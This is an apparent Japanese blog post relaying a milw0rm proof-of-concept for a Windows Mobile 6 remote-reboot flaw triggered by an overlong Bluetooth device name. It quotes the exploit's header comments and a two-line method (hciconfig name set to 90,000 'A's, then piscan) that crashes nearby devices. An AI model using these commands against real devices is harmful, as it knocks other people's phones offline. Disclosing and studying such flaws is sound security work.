Windows Mobile 6.0 Device long name Remote Reboot Exploit（情報元のブックマーク数）
Windows Mobile 6.0にリモートからリブートされる脆弱性のExploitが出ているそうです。
#!/usr/bin/perl
http://www.milw0rm.com/exploits/6582
#
# ----------WM6 remote overflow reboot PoC----------
# Simple exploit for remote rebooting a windows mobile device
# Maybe we can use it for doing command execution,
# I've not test it since the device is rebooting and do not dump a core
# for further analysing.
#
# The bug is not realy in the long string name but when it's the first
# time the wm6 device try to get a connection with too long name.
#
# There's two way to exploit this bug, this PoC show the first method
# (direct connect to the device if we know the bdaddr) but you can
# just wait for the device to search and overflow by itself when
# seeing the hci name:
# hciconfigname `perl -e 'print "A"x90000'`
# hciconfigpiscan
# You just have to wait until the wm device search for bluetooth devices
# in range and it will be overflowed
#
# *Tested on WM6 fully patched on [HTC wiza 200],[HTC Mda 8125]
# (by Julien Bedard)
#
